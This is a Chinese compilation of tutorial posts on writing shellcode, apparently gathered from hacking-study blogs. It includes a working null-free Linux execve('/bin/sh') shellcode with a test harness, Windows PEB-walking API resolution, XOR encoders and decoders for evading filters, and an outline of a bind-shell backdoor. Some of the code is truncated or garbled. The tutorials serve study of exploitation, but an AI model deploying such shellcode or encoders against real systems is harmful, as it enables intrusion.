“仙人指开花”通过精心收集,向本站投稿了8篇shellcode之三:shellcode编写,下面是小编整理后的shellcode之三:shellcode编写,希望对大家有所帮助。

shellcode之三:shellcode编写

篇1:shellcode之三:shellcode编写

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出,

系统调用

Shellcode是一组可注入的指令,可在被攻击的程序内运行。由于shellcode要直接操作寄存器,通常用汇编语言编写并翻译成十六进制操作码。我们想让目标程序以不同与设计折预期的方式运行,操纵程序的方法之一是强制它产生系统调用。

在Linux里有两种方法来执行系统调用。间接的方法是libc,直接的方法是用汇编指令调用软中断执行系统调用。在Linux里,程序通过int 0x80软中断来执行系统调用,调用过程如下:

1、把系统调用编号载入EAX;

2、把系统调用的参数压入其他寄存器;最多支持6个参数,分别保存在EBX、ECX、EDX、ESI、EDI和EBP里;

3、执行int 0x80指令;

4、CPU切换到内核模式;

5、执行系统函数。

如何得到一个shellcode

注意两点:

1、shellcode应该尽量紧凑,这样才能注入更小的缓冲区;

2、shellcode应该是可注入的;当攻击时,最有可能用来保存shellcode的内存区域是为了保存用户的输入而开辟的字符数组缓冲区。因此shellcode不应包含空值(/x00),在字符数组里,空值是用来终止字符串的,空值的存在使得把shellcode复制到缓冲区时会出现异常。

下面以exit系统调用为例写一个shellcode。exit()的系统编号为1。用汇编指令实现

Section .text

global _start

_start:

mov ebx,0

mov eax,1

int 0x80

用nasm编译生成目标文件,然后用GNU链接器链接目标文件,最后用objdump显示相应的操作码(下图的标号为_start部分)

sep@debian66:~/shellcode$ nasm -f elf shellcode.asm

sep@debian66:~/shellcode$ ld -o shellcode shellcode.o

sep@debian66:~/shellcode$ objdump -d shellcode

shellcode: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: bb 00 00 00 00 mov $0x0,%ebx

8048085: b8 01 00 00 00 mov $0x1,%eax

804808a: cd 80         int $0x80

sep@debian66:~/shellcode$

shellcode[] = {“/xbb/x00/x00/x00/x00/xb8/x01/x00/x00/x00/xcd/x80”},可以发现里面出现很多空值,基于shellcode的可注入性,我们需要找出把空值转换成非空操作码的方法,

有两种方法:

1、直接用其他具有相同功能的指令替换那些产生空值的指令;

2、在运行时用指令加上空值。

第2个方法比较复杂,暂时先讨论第1个方法。根据objdump的结果,发现mov ebx,0和mov eax,1均产生空值。了解汇编语言的话,可修改为以下代码

view plain

Section .text

global _start

_start:

xor ebx,ebx

mov al,1

int 0x80

编译、链接、反汇编.text段

sep@debian66:~/shellcode$ nasm -f elf shellcode.asm

sep@debian66:~/shellcode$ ld -o shellcode shellcode.o

sep@debian66:~/shellcode$ objdump -d shellcode

shellcode: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: 31 db xor %ebx,%ebx

8048082: b0 01 mov $0x1,%al

8048084: cd 80 int $0x80

sep@debian66:~/shellcode$

可以看到shellcode的空值消失了,长度也减少了。该shellcode是可注入的。

派生shell

如何写一个派生shell的shellcode,参考原书P39,这里不详述。我现在只需对shellcode的获取有个大致的了解,实现时再看细节。

作者 AZURE

篇2:Shellcode是什么

利用特定漏洞的代码,一般可以获取权限,另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode编写考虑因素

Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但

Shellcode在编写过程中,有些问题是一致的:

⒈Shellcode的编写语言。

用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制

Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

⒊。Shellcode中使用的API地址定位。

⒋Shellcode编码问题。

⒌多态技术躲避IDS检测。

现在我们就来研究这些问题在处理时常用的方法。

Shellcode编写技术

⒈Shellcode编写语言

Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最

具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你

想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许

多。例如,这里有一个写好的模板:

void Shellcode()

{

__asm

{

nop

nop

nop

nop

nop

nop

nop

nop

}

}

然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示

例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

⒉Shellcode代码地址定位,获取程序EIP。

为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么

定位的:利用CALL/POP来实现。

这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常

高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode

在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址

的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文

件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

⒊Shellcode中的API地址定位。

Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让

Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE

文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我

们这里使用从进程PEB中获取,示例代码如下:

__asm

{

push ebp;

sub     esp, 0x40;

mov     ebp,esp;

push ebp;

mov eax, fs:0x30                           ;PEB

mov eax, [eax + 0x0c]                           ;Ldr

mov esi, [eax + 0x1c]                           ;Flink

lodsd

mov edi, [eax + 0x08]                           ;edi就是kernel32.dll的地址

mov            eax, [edi+3Ch]                   ;eax = PE首部

mov            edx,[edi+eax+78h]

add            edx,edi                           ;edx = 输出表地址

mov            ecx,[edx+18h]                   ;ecx = 输出函数的个数

mov            ebx,[edx+20h]

add            ebx,edi                           ;ebx =函数名地址,AddressOfName

search:

dec            ecx

mov            esi,[ebx+ecx*4]

add            esi,edi                           ;依次找每个函数名称

;GetProcAddress

mov                           eax,0x50746547

cmp                           [esi],           eax;           'PteG'

jne                   search

mov                           eax,0x41636f72

cmp                           [esi+4],eax;           'Acor'

jne                   search

;如果是GetProcA,表示找到了

mov            ebx,[edx+24h]

add            ebx,edi                           ;ebx = 索引号地址,AddressOf

mov            cx,[ebx+ecx*2]                   ;ecx = 计算出的索引号值

mov            ebx,[edx+1Ch]

add            ebx,edi                           ;ebx = 函数地址的起始位置,AddressOfFunction

mov            eax,[ebx+ecx*4]

add            eax,edi                           ;利用索引值,计算出GetProcAddress的地址

mov           [ebp+40h], eax                                   ;把GetProcAddress的地址存在 ebp+40中

接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢,

⒋Shellcode的编码问题。

写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。

因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来

达到目的,这样太累了些,简单点就是写一段代码,示例如下:

for(i=0;i        ch=sc_buff^Enc_key;

//对可能字符进行替换

if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')

{

buff='0';

++k;

ch+=0x31;

}

//将编码Code放在DecryptSc后

buff[k]=ch;

++k;

}

解码时代码 解码时代码,示例如下:

jmp      next

getEncodeAddr:

pop      edi

push      edi

pop       esi

xor       ecx,ecx

Decrypt_lop:

loasb

cmp      al,cl

jz       shell

cmp      al,0x30     //判断是否为特殊字符

jz       specal_char_clean

store:

xor      al,Enc_key

stosb

jmp      Decrypt_lop

special_char_clean:

lodsb

sub      al,0x31

jmp      store

next:

call     getEncodeAddr

这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了。

写在最后

编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,

让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。最后,我附带了一个作为示例的Shellcode代

码,大家可以参考Sample.cpp来看看。

篇3:Linux ShellCode

shellcode之三:shellcode编写

说明本文首发于shudoo现在我把它改改让小菜看的更明白...0

一、什么是ShellCode

让我们从一个经典的故事开始ShellCode之旅

话说某天某爱国 编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?

简单的说,Shellcode是一段能够完成某种特定功能的二进制代码,具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。

接下来就一起来解开shellcode的神秘面纱吧~

二、Shellcode编写考虑因素

Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:

1.Shellcode的编写语言

用什么语言编写最适合Shellcode呢?这个问题没有定论。Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:

复制内容到剪贴板

代码:

void Shellcode

{

__asm

{

nop

nop

nop

nop

nop

nop

nop

nop

}

}

然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示例代码我就不写了。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

2.Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

3.Shellcode中使用的API地址定位。

4.Shellcode编码问题。

5.多态技术躲避IDS检测。

这些问题我将在后面几章与大家探讨

三、从Windows ShellCode说起

在本章,我将和大家谈谈关于程序EIP的获取、API的地址定位、ShellCode编码

1.Shellcode代码地址定位,获取程序EIP

为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么

定位的:利用CALL/POP来实现。 这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows熟悉之后的方法,成功率非常高。(感谢各位逆向大牛。。。)我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode

在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址

的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文

件中,地址一般为7FXXXXXX。具体细节,限于篇幅,就不在这里赘述了,大家可以baidu一下。

2.Shellcode中的API地址定位

Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让

Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE

文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我

们这里使用从进程PEB中获取,示例代码如下:

复制内容到剪贴板

代码:

__asm

{

push ebp;

sub esp, 0x40;

mov ebp,esp;

push ebp;

mov eax, fs:0x30 ;PEB

mov eax, [eax + 0x0c] ;Ldr

mov esi, [eax + 0x1c] ;Flink

lodsd

mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址

mov eax, [edi+3Ch] ;eax = PE首部

mov edx,[edi+eax+78h]

add edx,edi ;edx = 输出表地址

mov ecx,[edx+18h] ;ecx = 输出函数的个数

mov ebx,[edx+20h]

add ebx,edi ;ebx =函数名地址,AddressOfName

search:

dec ecx

mov esi,[ebx+ecx*4]

add esi,edi ;依次找每个函数名称

;GetProcAddress

mov eax,0x50746547

cmp [esi], eax; 'PteG'

jne search

mov eax,0x41636f72

cmp [esi+4],eax; 'Acor'

jne search

;如果是GetProcA,表示找到了

mov ebx,[edx+24h]

add ebx,edi ;ebx = 索引号地址,AddressOf

mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值

mov ebx,[edx+1Ch]

add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction

mov eax,[ebx+ecx*4]

add eax,edi ;利用索引值,计算出GetProcAddress的地址

mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中

接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,细节才是最麻烦的。。。。

3.Shellcode的编码问题

这是让俺们这些菜菜写ShellCode最头疼的东西了。。。例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:

复制内容到剪贴板

代码:

for(i=0;i ch=sc_buff^Enc_key;

//对可能字符进行替换

if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')

{

buff='0';

++k;

ch+=0x31;

}

//将编码Code放在DecryptSc后

buff[k]=ch;

++k;

}

解码时代码 解码时代码,示例如下:

jmp next

getEncodeAddr:

pop edi

push edi

pop esi

xor ecx,ecx

Decrypt_lop:

loasb

cmp al,cl

jz shell

cmp al,0x30 //判断是否为特殊字符

jz specal_char_clean

store:

xor al,Enc_key

stosb

jmp Decrypt_lop

special_char_clean:

lodsb

sub al,0x31

jmp store

next:

call getEncodeAddr

这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了

原本不想把Windows shell写这么多的,写写就写多了,唉,果然没有什么经验。本章最后再说一点RP问题。ShellCode写起来会很辛苦,够俺这种菜菜一个code得写N天天。。。但写罢,你就会知道成就感是什么了。。。^_^另外这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。

四、正题开始――Linux系统调用

为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。

想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:

复制内容到剪贴板

代码:

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_

/*

* This file contains the system call numbers.

*/

#define __NR_restart_syscall 0

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

....

....

....

每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。

系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。

为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。

代码如下:

复制内容到剪贴板

代码:

.section .data

output:

.ascii “hello,syscall!!!!n”

output_end:

.equ len,output_end - output

.section .text

.globl _start

_start:

movl $4,%eax #define __NR_write 4

movl $1,%ebx

movl $output,%ecx

movl $len,%edx

int $0x80

movl $1,%eax

movl $0,%ebx

int $0x80

编译该程序,并查看运行结果:

as -o syscall.o syscall.s

ld -o syscall syscall.o

./syscall

hello,syscall!!!!

可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。

为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:

strace ./syscall

execve(“./syscall”, [“./syscall”], [/* 34 vars */]) = 0

write(1, “hello,syscall!!!!n”, 18hello,syscall!!!!

)    = 18

_exit(0)

通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。

已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。

五、第一个Linux ShellCode

最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:

objdump -d ./syscall

./syscall:    file format elf32-i386

Disassembly of section .text:

08048074 <_start>:

8048074:    b8 04 00 00 00      mov  $0x4,%eax

8048079:    bb 01 00 00 00      mov  $0x1,%ebx

804807e:    b9 98 90 04 08      mov  $0x8049098,%ecx

8048083:    ba 12 00 00 00      mov  $0x12,%edx

8048088:    cd 80            int  $0x80

804808a:    b8 01 00 00 00      mov  $0x1,%eax

804808f:    bb 00 00 00 00      mov  $0x0,%ebx

8048094:    cd 80            int  $0x80

噢!!!这个SB的程序在

8048074:    b8 04 00 00 00      mov  $0x4,%eax

这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行,

现在来分析下为什么会出现这种情况。现看这两段代码:

movl $4,%eax

movl $1,%ebx

这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。

EAX寄存器的构成如下:

EAX寄存器

31                  15        7        0

AH

AL

AX

在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。

我们来修改一下代码看看,把

movl $4,%eax

movl $1,%ebx

改为

mov $4,%al

mov $1,%bl

再重新编译连接syscall程序,并且查看一下objdump的结果:

./syscall

hello,syscall!!!!

objdump -d ./syscall

./syscall:    file format elf32-i386

Disassembly of section .text:

08048074 <_start>:

8048074:    b0 04            mov  $0x4,%al

8048076:    b3 01            mov  $0x1,%bl

8048078:    b9 90 90 04 08      mov  $0x8049090,%ecx

804807d:    ba 12 00 00 00      mov  $0x12,%edx

8048082:    cd 80            int  $0x80

8048084:    b8 01 00 00 00      mov  $0x1,%eax

8048089:    bb 00 00 00 00      mov  $0x0,%ebx

804808e:    cd 80            int  $0x80

看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。

下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:

NAME

execve - execute program

SYNOPSIS

#include

int execve(const char *filename, char *const argv[],

char *const envp[]);

可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:

#include

int main()

{

char *sc[2];

sc[0]=“/bin/sh”;

sc[1]=  NULL;

execve(sc[0],sc,NULL);

}

通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:

gcc -o newshell newshell.c

./newshell

$ exit

新shell已经成功的诞生了!!

为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:

.section .text

.globl _start

_start:

xorl %eax,%eax

pushl %eax

pushl $0x68732f6e

pushl $0x69622f2f

movl %esp,%ebx

pushl %eax

pushl %ebx

movl %esp,%ecx

movb $0xb,%al

int $0x80

来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空

xorl %eax,%eax

接着将4字节的NULL压栈

pushl %eax

将/bin//sh压栈,保持对齐,第一个参数

pushl $0x68732f6e

pushl $0x69622f2f

将/bin//sh存放到EBX寄存器,第2个参数

movl %esp,%ebx

压4字节的NULL,第3个参数,环境变量为 NULL

pushl %eax

将EBX压栈

pushl %ebx

把EBX地址存入ECX寄存器

movl %esp,%ecx

将execve系统调用号11(0xb)压入AL寄存器,消00

movb $0xb,%al

调用int指令进入中断

int $0x80

OK,现在来测试一下这个程序是否能给我们带来一个新的shell

as -o exec.o exec.s

ld -o exec exec.o

./exec

$ exit

HOHO~~成功执行了!!接着来提取16进制机器码

objdump -d ./exec

./exec:    file format elf32-i386

Disassembly of section .text:

08048054 <_start>:

8048054:    31 c0            xor  %eax,%eax

8048056:    50              push  %eax

8048057:    68 6e 2f 73 68      push  $0x68732f6e

804805c:    68 2f 2f 62 69      push  $0x69622f2f

8048061:    89 e3            mov  %esp,%ebx

8048063:    50              push  %eax

8048064:    53              push  %ebx

8048065:    89 e1            mov  %esp,%ecx

8048067:    b0 0b            mov  $0xb,%al

8048069:    cd 80            int  $0x80

放到一个C程序中来完成整个shellcode的编写测试吧

/*

*linux/x86 execve(“/bin//sh/”,[“/bin//sh”],NULL) shellcode 23bytes

*/

objdump -d exec

exec:    file format elf32-i386

Disassembly of section .text:

08048054 <_start>:

8048054:    31 c0            xor  %eax,%eax

8048056:    50              push  %eax

8048057:    68 6e 2f 73 68      push  $0x68732f6e

804805c:    68 2f 2f 62 69      push  $0x69622f2f

8048061:    89 e3            mov  %esp,%ebx

8048063:    50              push  %eax

8048064:    53              push  %ebx

8048065:    89 e1            mov  %esp,%ecx

8048067:    b0 0b            mov  $0xb,%al

8048069:    cd 80            int  $0x80

char sc[] =

“x31xc0”

“x50”

“x68x6ex2fx73x68”

“x68x2fx2fx62x69”

“x89xe3”

“x50”

“x53”

“x89xe1”

“xb0x0b”

“xcdx80”

;

int main()

{

void  (*fp)(void) = (void (*)(void))sc;

printf(“Length: %dn”,strlen(sc));

fp();

}

gcc -o execve execve.c

./execve

Length: 23

exit

成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了(俺本人也很兴奋)。下章说下功能更全的个shell

六、绑定端口的shellcode

根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:

首先要建立一个socket

server=socket(2,1,0)

建立一个sockaddr_in结构,包含IP和端口信息将端口和IP邦定到socketbind()

打开端口监听该socket

listen()

当有连接时向客户端返回一个句柄

accept()

将返回的句柄复制到STDIN,STDOUT,STDERR

dup2()

调用execve执行/bin/sh

似乎很复杂,大家多看点code就明白了

我的水平一般,不敢自己写,大家自己baid吧

七、总结

到了后边忘排版了,sorry~~。。。

俺的目前最长科普完成,越写越不想写,结果也写得越差,唉。。。

大家勉强看吧,谢谢大家

参考书目、文章

《缓冲区溢出教程》 by 王炜

《Windows平台内核级文件访问》 by baiyuanfan

《Exploit,shellcode经验技巧杂谈》 by OYXin

《shellcode技术杂谈》 by 未知

《Linux下地shellcode书写》 by aleph1 translater:scz

《Liunx Shellcode》 by 旋木木

这是能记起来的

感谢以上作者、译者

篇4:Shellcode学习之编写shellcode补完

看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜,

什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。

异或法就是简单地将shellcode异或。

void Encode(char *Sc)

{

int i,j;

int EnKey=0x99; //与之异或的值

char msg[4];

for(i=0;i<54;i++)

{

Sc[i]=Sc[i]^EnKey;

}

for(i=0;i<54;i++)

{

sprintf(msg,“”x%.2X“,Sc[i]&0xff);

for(j=0;j<4;j++) printf(”%c“,msg[j]);

}

printf(”“n”);

}

很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。

_asm{

mov ebx,esp

mov dl,99h //dl is the key

mov cl,57 //cl is the shellcode's lenth

Dencode_loop:

xor [ebx + 0Bh],dl

inc ebx

loop Dencode_loop

}

我想了想我这个解码方法不是太好,因为要先知道shellcode的长度,我看了看别人写的解码觉得不错,

jmp Decode_end

Decode_start:

pop edx // 得到解码开始位置 esp -> edx

dec edx

xor ecx,ecx

mov cx,0x200 //要解码的 EnShellCode, 长度0x200应该足够

Decode_loop:

xor byte ptr [edx+ecx], 0x97 // 因为编码时用的Key是0x97,所以解码要一样

loop Decode_loop

jmp Decode_ok

Decode_end:

call Decode_start

Decode_ok:

这样就可以不用知道shellcode的长度了。

写完解码程序后提取一下解码的机器码:“”x8B“xDC”xB2“x99”xB1“x39”x30“x53”x0C“x43”xE2“xFA”;

这样我们重新构造我们的shellcode

shellcode[ MaxSize]的结构大致为:要覆盖对象缓冲区大小 + ret值(也就是指定的系统jmp esp) + 解码程序 + 编码后的shellcode。还可以在解码程序前增加若干nop指令以减少计算不准出现的错误。

现在我说说自己遇到的问题,这个应该是难点。1。我怎么知道解码程序该从哪个位置解码呢?出现这个问题的原因是我还是没有对压栈情况有清楚的认识。其实很简单,这个问题明天讲,因为牵扯到栈溢出的原理。2。怎么让shellcode正确返回,这个问题仍在解决中,汗~~

总之,我们知道了shellcode基本编码过程和解码过程,shellcode的基本框架就是如此了,我分析了几个shellcode,果然是这样的。调试的时候很好玩,在解码的时候,后面的shellcode一个个的还原出了真实的面目了。

到此,shellcode已经基本完毕,以后的工作是深入地理解溢出了,争取为以后的漏洞分析与挖掘打下基础。

篇5:Shellcode是什么 Shellcode技术杂谈

今天在查找关于shellcode的资料时,无意间看到的,感觉不错,分享给大家。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的

主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是

Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得

尤为重要。

小弟经过一段时间的修炼,自以为对Shellcode小有心得,故在这里写出来,博君一笑。不当之处,还请各位高人

不吝指教。

什么是Shellcode

我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器

利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode编写考虑因素

Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但

Shellcode在编写过程中,有些问题是一致的:

⒈Shellcode的编写语言。

用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制

Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

⒊。Shellcode中使用的API地址定位。

